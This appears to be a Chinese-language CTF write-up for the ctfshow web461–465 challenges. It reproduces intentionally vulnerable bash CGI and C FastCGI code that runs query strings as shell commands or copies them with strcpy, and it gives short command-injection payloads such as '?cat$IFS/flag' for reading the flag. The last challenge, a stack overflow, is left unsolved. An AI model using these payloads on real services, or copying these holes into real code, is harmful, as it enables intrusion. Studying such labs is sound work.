web461

#!/bin/bash
  OIFS="$IFS"
  IFS=","
  set $QUERY_STRING
  Args=($QUERY_STRING)
  IFS="$OIFS"
  if [ "${Args[2]}"ctf = "admin"ctf ]; then
          echo "`${Args[0]}$IFS${Args[1]}`"
  fi
exit 0

代码中将IFS修改为,,我们传入参数时使用,分割。

?cat,/flag,admin

web462

#!/bin/bash
 OIFS="$IFS"
  IFS=","
  set $QUERY_STRING
  Args=($QUERY_STRING)
  IFS="$OIFS"
  if [ "${Args[0]}"ctf = "ping"ctf ]; then
          addr="`echo ${Args[1]} | sed 's|[\]||g' | sed 's|%20| |g'`"
          addr="ping -c 1 "$addr
          $addr
  fi

不是很懂shell的解析方式。

想通过注入方式加入命令,但是不行。。。

?ping,8.8.8.8&&ls

web463

#include <stdlib.h>
#include "fcgi_stdio.h"
#include <cstring>


/* just get lastest info */
int _System(const char * cmd, char *pRetMsg, int msg_len)
{
	FILE * fp;
	char * p = NULL;
	int res = -1;
	if (cmd == NULL || pRetMsg == NULL || msg_len < 0)
	{
		printf("Param Error!\n");
		return -1;
	}
	if ((fp = popen(cmd, "r") ) == NULL)
	{
		printf("Popen Error!\n");
		return -2;
	}
	else
	{
		memset(pRetMsg, 0, msg_len);
		//get lastest result
		while(fgets(pRetMsg, msg_len, fp) != NULL)
		{
			printf("Msg:%s",pRetMsg); //print all info
		}

		if ( (res = pclose(fp)) == -1)
		{
			printf("close popenerror!\n");
			return -3;
		}
		pRetMsg[strlen(pRetMsg)-1] = '\0';
		return 0;
	}
}

int main(void)
{
    int count = 0;
    char *cmd = "";
    char a8Result[128] = {0};
    int ret = 0;
    while (FCGI_Accept() >= 0)
        printf("Content-type: text/html\r\n"
        "\r\n"
        "<title>CTFshow</title>"
        "<h1>where is flag?</h1>"
        );
        cmd=getenv("QUERY_STRING");
	ret  = _System(cmd, a8Result, sizeof(a8Result));
        printf("ret = %d \nresult = %s\nlength = %d \n", ret, a8Result, strlen(a8Result));
    return 0;
}

直接执行命令,不过需要使用$IFS代替空格

?cat$IFS/flag

web464

#include <stdlib.h>
#include "fcgi_stdio.h"
#include <cstring>


/* just get lastest info */
int _System(const char * cmd, char *pRetMsg, int msg_len)
{
	FILE * fp;
	char * p = NULL;
	int res = -1;
	if (cmd == NULL || pRetMsg == NULL || msg_len < 0)
	{
		printf("Param Error!\n");
		return -1;
	}
	if ((fp = popen(cmd, "r") ) == NULL)
	{
		printf("Popen Error!\n");
		return -2;
	}
	else
	{
		memset(pRetMsg, 0, msg_len);
		//get lastest result
		while(fgets(pRetMsg, msg_len, fp) != NULL)
		{
			printf("Msg:%s",pRetMsg); //print all info
		}

		if ( (res = pclose(fp)) == -1)
		{
			printf("close popenerror!\n");
			return -3;
		}
		pRetMsg[strlen(pRetMsg)-1] = '\0';
		return 0;
	}
}

int main(void)
{
    int count = 0;
    char *cmd = "";
    char a8Result[128] = {0};
    int ret = 0;
    while (FCGI_Accept() >= 0)
        printf("Content-type: text/html\r\n"
        "\r\n"
        "<title>CTFshow</title>"
        "<h1>where is flag?</h1>"
        );
        cmd=getenv("QUERY_STRING");
	ret  = _System(cmd, a8Result, sizeof(a8Result));
    return 0;
}

同上题

/?cat$IFS/flag

web465

提供了cgi
逆向后查看main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char dest[32]; // [rsp+0h] [rbp-30h] BYREF
  char *src; // [rsp+20h] [rbp-10h]
  int v6; // [rsp+2Ch] [rbp-4h]

  v6 = 0;
  while ( (int)FCGI_Accept(*(_QWORD *)&argc, argv, envp) >= 0 )
  {
    *(_QWORD *)&argc = "Content-type: text/html\r\n\r\n<title>CTFshow</title><h1>where is flag?</h1>";
    FCGI_printf("Content-type: text/html\r\n\r\n<title>CTFshow</title><h1>where is flag?</h1>");
  }
  src = getenv("QUERY_STRING");
  strcpy(dest, src);
  return 0;

大概是通过strcpy处的栈溢出调用getflag,间接调用_system执行命令。

不太清楚程序载入地址,以及需要通过ROP设置参数,有点复杂,暂时不会。。。